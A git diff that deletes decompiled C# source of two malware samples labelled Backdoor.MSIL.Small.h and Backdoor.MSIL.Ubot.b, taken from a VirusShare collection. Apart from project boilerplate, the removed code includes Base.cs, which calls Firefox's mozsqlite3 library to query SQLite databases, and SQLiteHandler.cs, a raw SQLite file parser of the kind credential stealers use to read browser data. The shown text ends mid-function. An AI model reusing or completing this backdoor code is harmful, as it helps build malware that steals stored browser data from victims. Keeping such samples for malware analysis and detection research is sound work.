diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.resx b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.resx
deleted file mode 100644
index d58980a3..00000000
--- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Resources.resx
+++ /dev/null
@@ -1,120 +0,0 @@
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
- text/microsoft-resx
-
-
- 2.0
-
-
- System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
- System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Settings.cs b/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Settings.cs
deleted file mode 100644
index f497c242..00000000
--- a/MSIL/Backdoor/MSIL/S/Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6/Properties/Settings.cs
+++ /dev/null
@@ -1,28 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: javaw.Properties.Settings
-// Assembly: javaw, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: C2EBC363-26CF-4652-928D-60BDCC82A751
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Small.h-778df9a7591e8bbfb98f70cc981102f707fa0d6ae37e2b885e0dcc771257d1b6.exe
-
-using System.CodeDom.Compiler;
-using System.Configuration;
-using System.Runtime.CompilerServices;
-
-namespace javaw.Properties
-{
- [GeneratedCode("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "10.0.0.0")]
- [CompilerGenerated]
- internal sealed class Settings : ApplicationSettingsBase
- {
- private static Settings defaultInstance = (Settings) SettingsBase.Synchronized((SettingsBase) new Settings());
-
- public static Settings Default
- {
- get
- {
- Settings defaultInstance = Settings.defaultInstance;
- return defaultInstance;
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/AssemblyInfo.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/AssemblyInfo.cs
deleted file mode 100644
index 1e886428..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/AssemblyInfo.cs
+++ /dev/null
@@ -1,3 +0,0 @@
-using System.Reflection;
-
-[assembly: AssemblyVersion("0.0.0.0")]
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.csproj b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.csproj
deleted file mode 100644
index 5ff49121..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.csproj
+++ /dev/null
@@ -1,49 +0,0 @@
-
-
-
-
- Debug
- AnyCPU
- {924135AD-82F8-4279-861F-D5B47C5B5E1A}
- WinExe
- Server
- 0.0.0.0
-
-
- AnyCPU
- true
- full
- false
- bin\Debug\
- DEBUG;TRACE
- prompt
- 4
-
-
- AnyCPU
- pdbonly
- true
- bin\Release\
- TRACE
- prompt
- 4
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
\ No newline at end of file
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.sln b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.sln
deleted file mode 100644
index 156312da..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Backdoor.MSIL.Ubot.b.sln
+++ /dev/null
@@ -1,20 +0,0 @@
-
-Microsoft Visual Studio Solution File, Format Version 9.00
-# Visual Studio 2005
-Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Server", "Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.csproj", "{924135AD-82F8-4279-861F-D5B47C5B5E1A}"
-EndProject
-Global
- GlobalSection(SolutionConfigurationPlatforms) = preSolution
- Debug|Any CPU = Debug|Any CPU
- Release|Any CPU = Release|Any CPU
- EndGlobalSection
- GlobalSection(ProjectConfigurationPlatforms) = postSolution
- {924135AD-82F8-4279-861F-D5B47C5B5E1A}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
- {924135AD-82F8-4279-861F-D5B47C5B5E1A}.Debug|Any CPU.Build.0 = Debug|Any CPU
- {924135AD-82F8-4279-861F-D5B47C5B5E1A}.Release|Any CPU.ActiveCfg = Release|Any CPU
- {924135AD-82F8-4279-861F-D5B47C5B5E1A}.Release|Any CPU.Build.0 = Release|Any CPU
- EndGlobalSection
- GlobalSection(SolutionProperties) = preSolution
- HideSolutionNode = FALSE
- EndGlobalSection
-EndGlobal
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Base.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Base.cs
deleted file mode 100644
index fc45c45f..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/Base.cs
+++ /dev/null
@@ -1,277 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: Base
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe
-
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.Collections;
-using System.Data;
-using System.Runtime.InteropServices;
-using System.Text;
-
-public class Base
-{
- private const int SQL_OK = 0;
- private const int SQL_ROW = 100;
- private const int SQL_DONE = 101;
- private IntPtr database;
-
- [DllImport("kernel32")]
- private static extern IntPtr HeapAlloc(
- IntPtr heap,
- uint flags,
- uint lmwXcoftBrueIDsqQpslhlanGoQRna);
-
- [DllImport("kernel32")]
- private static extern IntPtr GetProcessHeap();
-
- [DllImport("kernel32")]
- private static extern int lstrlen(IntPtr str);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_open(IntPtr fileName, ref IntPtr database);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_close(IntPtr database);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_exec(
- IntPtr database,
- IntPtr xvqbvqxDUuohuGMtksLnbutqZxjuhJ,
- IntPtr callback,
- IntPtr arguments,
- ref IntPtr error);
-
- [DllImport("mozsqlite3")]
- private static extern IntPtr sqlite3_errmsg(IntPtr database);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_prepare_v2(
- IntPtr database,
- IntPtr xvqbvqxDUuohuGMtksLnbutqZxjuhJ,
- int CRjhCmhdjogGzsGrXfvexzMGfClkug,
- ref IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- ref IntPtr tail);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_step(IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_column_count(IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD);
-
- [DllImport("mozsqlite3")]
- private static extern IntPtr sqlite3_column_name(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_column_type(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_column_int(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern double sqlite3_column_double(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern IntPtr sqlite3_column_text(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern IntPtr sqlite3_column_blob(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern IntPtr sqlite3_column_table_name(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- int columnNumber);
-
- [DllImport("mozsqlite3")]
- private static extern int sqlite3_finalize(IntPtr handle);
-
- public Base() => this.database = IntPtr.Zero;
-
- public Base(string baseName) => this.OpenDatabase(baseName);
-
- public void OpenDatabase(string baseName)
- {
- if (Base.sqlite3_open(this.StringToPointer(baseName), ref this.database) == 0)
- return;
- this.database = IntPtr.Zero;
- }
-
- public void CloseDatabase()
- {
- if (!(this.database != IntPtr.Zero))
- return;
- Base.sqlite3_close(this.database);
- }
-
- public ArrayList GetTables()
- {
- DataTable dataTable = this.ExecuteQuery("SELECT name FROM sqlite_master WHERE type IN (");
- ArrayList tables = new ArrayList();
- try
- {
- foreach (DataRow row in dataTable.Rows)
- tables.Add((object) row.ItemArray[0].ToString());
- }
- finally
- {
- IEnumerator enumerator;
- if (enumerator is IDisposable)
- (enumerator as IDisposable).Dispose();
- }
- return tables;
- }
-
- public void ExecuteNonQuery(string xvqbvqxDUuohuGMtksLnbutqZxjuhJ)
- {
- try
- {
- IntPtr error;
- Base.sqlite3_exec(this.database, this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ), IntPtr.Zero, IntPtr.Zero, ref error);
- int num = error != IntPtr.Zero ? 1 : 0;
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
-
- public DataTable ExecuteQuery(string xvqbvqxDUuohuGMtksLnbutqZxjuhJ)
- {
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD;
- IntPtr tail;
- Base.sqlite3_prepare_v2(this.database, this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ), this.GetPointerLenght(this.StringToPointer(xvqbvqxDUuohuGMtksLnbutqZxjuhJ)), ref ugsomsbismrdBPQhqtxSimmmoadhWD, ref tail);
- DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq = new DataTable();
- int num = this.ReadFirstRow(ugsomsbismrdBPQhqtxSimmmoadhWD, ref WCelvwBgEsajtdaulPPorkGkYgfnpq);
- while (num == 100)
- num = this.ReadNextRow(ugsomsbismrdBPQhqtxSimmmoadhWD, ref WCelvwBgEsajtdaulPPorkGkYgfnpq);
- Base.sqlite3_finalize(ugsomsbismrdBPQhqtxSimmmoadhWD);
- return WCelvwBgEsajtdaulPPorkGkYgfnpq;
- }
-
- private int ReadFirstRow(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- ref DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq)
- {
- WCelvwBgEsajtdaulPPorkGkYgfnpq = new DataTable("resultTable");
- if (Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD) == 100)
- {
- int num1 = Base.sqlite3_column_count(ugsomsbismrdBPQhqtxSimmmoadhWD);
- object[] objArray = new object[checked (num1 - 1 + 1)];
- int num2 = checked (num1 - 1);
- int columnNumber = 0;
- while (columnNumber <= num2)
- {
- string columnName = this.PointerToString(Base.sqlite3_column_name(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
- switch (Base.sqlite3_column_type(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber))
- {
- case 1:
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.Int32"));
- objArray[columnNumber] = (object) Base.sqlite3_column_int(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
- break;
- case 2:
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.Single"));
- objArray[columnNumber] = (object) Base.sqlite3_column_double(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
- break;
- case 3:
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String"));
- objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_text(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
- break;
- case 4:
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String"));
- objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_blob(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
- break;
- default:
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Columns.Add(columnName, Type.GetType("System.String"));
- objArray[columnNumber] = (object) "";
- break;
- }
- checked { ++columnNumber; }
- }
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Rows.Add(objArray);
- }
- return Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD);
- }
-
- private int ReadNextRow(
- IntPtr ugsomsbismrdBPQhqtxSimmmoadhWD,
- ref DataTable WCelvwBgEsajtdaulPPorkGkYgfnpq)
- {
- int num1 = Base.sqlite3_column_count(ugsomsbismrdBPQhqtxSimmmoadhWD);
- object[] objArray = new object[checked (num1 - 1 + 1)];
- int num2 = checked (num1 - 1);
- int columnNumber = 0;
- while (columnNumber <= num2)
- {
- switch (Base.sqlite3_column_type(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber))
- {
- case 1:
- objArray[columnNumber] = (object) Base.sqlite3_column_int(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
- break;
- case 2:
- objArray[columnNumber] = (object) Base.sqlite3_column_double(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber);
- break;
- case 3:
- objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_text(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
- break;
- case 4:
- objArray[columnNumber] = (object) this.PointerToString(Base.sqlite3_column_blob(ugsomsbismrdBPQhqtxSimmmoadhWD, columnNumber));
- break;
- default:
- objArray[columnNumber] = (object) "";
- break;
- }
- checked { ++columnNumber; }
- }
- WCelvwBgEsajtdaulPPorkGkYgfnpq.Rows.Add(objArray);
- return Base.sqlite3_step(ugsomsbismrdBPQhqtxSimmmoadhWD);
- }
-
- private IntPtr StringToPointer(string str)
- {
- if (str == null)
- return IntPtr.Zero;
- byte[] bytes = Encoding.UTF8.GetBytes(str);
- int lmwXcoftBrueIDsqQpslhlanGoQRna = checked (bytes.Length + 1);
- IntPtr pointer = Base.HeapAlloc(Base.GetProcessHeap(), 0U, checked ((uint) lmwXcoftBrueIDsqQpslhlanGoQRna));
- Marshal.Copy(bytes, 0, pointer, bytes.Length);
- Marshal.WriteByte(pointer, bytes.Length, (byte) 0);
- return pointer;
- }
-
- private string PointerToString(IntPtr ptr)
- {
- if (ptr == IntPtr.Zero)
- return (string) null;
- Encoding utF8 = Encoding.UTF8;
- int pointerLenght = this.GetPointerLenght(ptr);
- byte[] numArray = new byte[checked (pointerLenght - 1 + 1)];
- Marshal.Copy(ptr, numArray, 0, pointerLenght);
- return utF8.GetString(numArray, 0, pointerLenght);
- }
-
- private int GetPointerLenght(IntPtr ptr) => ptr == IntPtr.Zero ? 0 : Base.lstrlen(ptr);
-
- public enum SQLiteDataTypes
- {
- INT = 1,
- FLOAT = 2,
- TEXT = 3,
- BLOB = 4,
- NULL = 5,
- }
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyApplication.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyApplication.cs
deleted file mode 100644
index c2813f4b..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyApplication.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: My.MyApplication
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe
-
-using Microsoft.VisualBasic.ApplicationServices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-
-namespace My
-{
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal class MyApplication : ApplicationBase
- {
- }
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyComputer.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyComputer.cs
deleted file mode 100644
index 1216b516..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyComputer.cs
+++ /dev/null
@@ -1,24 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: My.MyComputer
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe
-
-using Microsoft.VisualBasic.Devices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-
-namespace My
-{
- [EditorBrowsable(EditorBrowsableState.Never)]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- internal class MyComputer : Computer
- {
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public MyComputer()
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyProject.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyProject.cs
deleted file mode 100644
index 479bf468..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/My/MyProject.cs
+++ /dev/null
@@ -1,108 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: My.MyProject
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.ApplicationServices;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.ComponentModel.Design;
-using System.Diagnostics;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-
-namespace My
-{
- [HideModuleName]
- [StandardModule]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- internal sealed class MyProject
- {
- private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider();
-
- [HelpKeyword("My.Computer")]
- internal static MyComputer Computer
- {
- [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.Application")]
- internal static MyApplication Application
- {
- [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.User")]
- internal static User User
- {
- [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.WebServices")]
- internal static MyProject.MyWebServices WebServices
- {
- [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
- internal sealed class MyWebServices
- {
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override int GetHashCode() => base.GetHashCode();
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal new Type GetType() => typeof (MyProject.MyWebServices);
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public override string ToString() => base.ToString();
-
- [DebuggerHidden]
- private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance;
-
- [DebuggerHidden]
- private void Dispose__Instance__(ref T instance) => instance = default (T);
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public MyWebServices()
- {
- }
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [ComVisible(false)]
- internal sealed class ThreadSafeObjectProvider where T : new()
- {
- internal T GetInstance
- {
- [DebuggerHidden] get
- {
- if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null)
- MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T();
- return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue;
- }
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public ThreadSafeObjectProvider()
- {
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/SQLiteHandler.cs b/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/SQLiteHandler.cs
deleted file mode 100644
index 22e741ce..00000000
--- a/MSIL/Backdoor/MSIL/U/Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166/SQLiteHandler.cs
+++ /dev/null
@@ -1,427 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: SQLiteHandler
-// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: 5F9554D6-83E0-47C2-9D3F-094C1F4E42EE
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Backdoor.MSIL.Ubot.b-27fd0045e02c9637a29c55fea512f22e17ba06763b85774c37789ab6939ac166.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.IO;
-using System.Runtime.CompilerServices;
-using System.Text;
-
-public class SQLiteHandler
-{
- private byte[] db_bytes;
- private ushort page_size;
- private ulong encoding;
- private SQLiteHandler.sqlite_master_entry[] master_table_entries;
- private byte[] SQLDataTypeSize;
- private SQLiteHandler.table_entry[] table_entries;
- private string[] field_names;
-
- private int GVL(int startIndex)
- {
- if (startIndex > this.db_bytes.Length)
- return 0;
- int num1 = startIndex;
- int num2 = checked (startIndex + 8);
- int index = num1;
- while (index <= num2)
- {
- if (index > checked (this.db_bytes.Length - 1))
- return 0;
- if (((int) this.db_bytes[index] & 128) != 128)
- return index;
- checked { ++index; }
- }
- return checked (startIndex + 8);
- }
-
- private long CVL(int startIndex, int endIndex)
- {
- checked { ++endIndex; }
- byte[] numArray = new byte[8];
- object Left = (object) checked (endIndex - startIndex);
- bool flag = false;
- if (Conversions.ToBoolean(Operators.OrObject(Operators.CompareObjectEqual(Left, (object) 0, false), Operators.CompareObjectGreater(Left, (object) 9, false))))
- return 0;
- if (Operators.ConditionalCompareObjectEqual(Left, (object) 1, false))
- {
- numArray[0] = checked ((byte) ((int) this.db_bytes[startIndex] & (int) sbyte.MaxValue));
- return BitConverter.ToInt64(numArray, 0);
- }
- if (Operators.ConditionalCompareObjectEqual(Left, (object) 9, false))
- flag = true;
- int num1 = 1;
- int num2 = 7;
- int index1 = 0;
- if (flag)
- {
- numArray[0] = this.db_bytes[checked (endIndex - 1)];
- checked { --endIndex; }
- index1 = 1;
- }
- int num3 = checked (endIndex - 1);
- int num4 = startIndex;
- int index2 = num3;
- while (index2 >= num4)
- {
- if (checked (index2 - 1) >= startIndex)
- {
- numArray[index1] = checked ((byte) ((int) unchecked ((byte) ((uint) this.db_bytes[index2] >> (checked (num1 - 1) & 7))) & (int) byte.MaxValue >> num1 | (int) unchecked ((byte) ((uint) this.db_bytes[checked (index2 - 1)] << (num2 & 7)))));
- checked { ++num1; }
- checked { ++index1; }
- checked { --num2; }
- }
- else if (!flag)
- numArray[index1] = checked ((byte) ((int) unchecked ((byte) ((uint) this.db_bytes[index2] >> (checked (num1 - 1) & 7))) & (int) byte.MaxValue >> num1));
- checked { index2 += -1; }
- }
- return BitConverter.ToInt64(numArray, 0);
- }
-
- private bool IsOdd(long value) => (value & 1L) == 1L;
-
- private ulong ConvertToInteger(int startIndex, int Size)
- {
- if (Size > 8 | Size == 0)
- return 0;
- ulong integer = 0;
- int num1 = checked (Size - 1);
- int num2 = 0;
- while (num2 <= num1)
- {
- integer = integer << 8 | (ulong) this.db_bytes[checked (startIndex + num2)];
- checked { ++num2; }
- }
- return integer;
- }
-
- private void ReadMasterTable(ulong Offset)
- {
- if (this.db_bytes[checked ((int) Offset)] == (byte) 13)
- {
- ushort uint16 = Convert.ToUInt16(Decimal.Subtract(new Decimal(this.ConvertToInteger(Convert.ToInt32(Decimal.Add(new Decimal(Offset), 3M)), 2)), 1M));
- int num1 = 0;
- if (this.master_table_entries != null)
- {
- num1 = this.master_table_entries.Length;
- this.master_table_entries = (SQLiteHandler.sqlite_master_entry[]) Utils.CopyArray((Array) this.master_table_entries, (Array) new SQLiteHandler.sqlite_master_entry[checked (this.master_table_entries.Length + (int) uint16 + 1)]);
- }
- else
- this.master_table_entries = new SQLiteHandler.sqlite_master_entry[checked ((int) uint16 + 1)];
- int num2 = (int) uint16;
- int num3 = 0;
- while (num3 <= num2)
- {
- ulong integer = this.ConvertToInteger(Convert.ToInt32(Decimal.Add(Decimal.Add(new Decimal(Offset), 8M), new Decimal(checked (num3 * 2)))), 2);
- if (Decimal.Compare(new Decimal(Offset), 100M) != 0)
- checked { integer += Offset; }
- object Left1 = (object) this.GVL(checked ((int) integer));
- this.CVL(checked ((int) integer), Conversions.ToInteger(Left1));
- object Left2 = (object) this.GVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)));
- this.master_table_entries[checked (num1 + num3)].row_id = this.CVL(Conversions.ToInteger(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left1, (object) integer)), (object) 1)), Conversions.ToInteger(Left2));
- ulong startIndex = Conversions.ToULong(Operators.AddObject(Operators.AddObject((object) integer, Operators.SubtractObject(Left2, (object) integer)), (object) 1));
- object obj1 = (object) this.GVL(checked ((int) startIndex));
- object Left3 = RuntimeHelpers.GetObjectValue(obj1);
- long num4 = this.CVL(checked ((int) startIndex), Conversions.ToInteger(obj1));
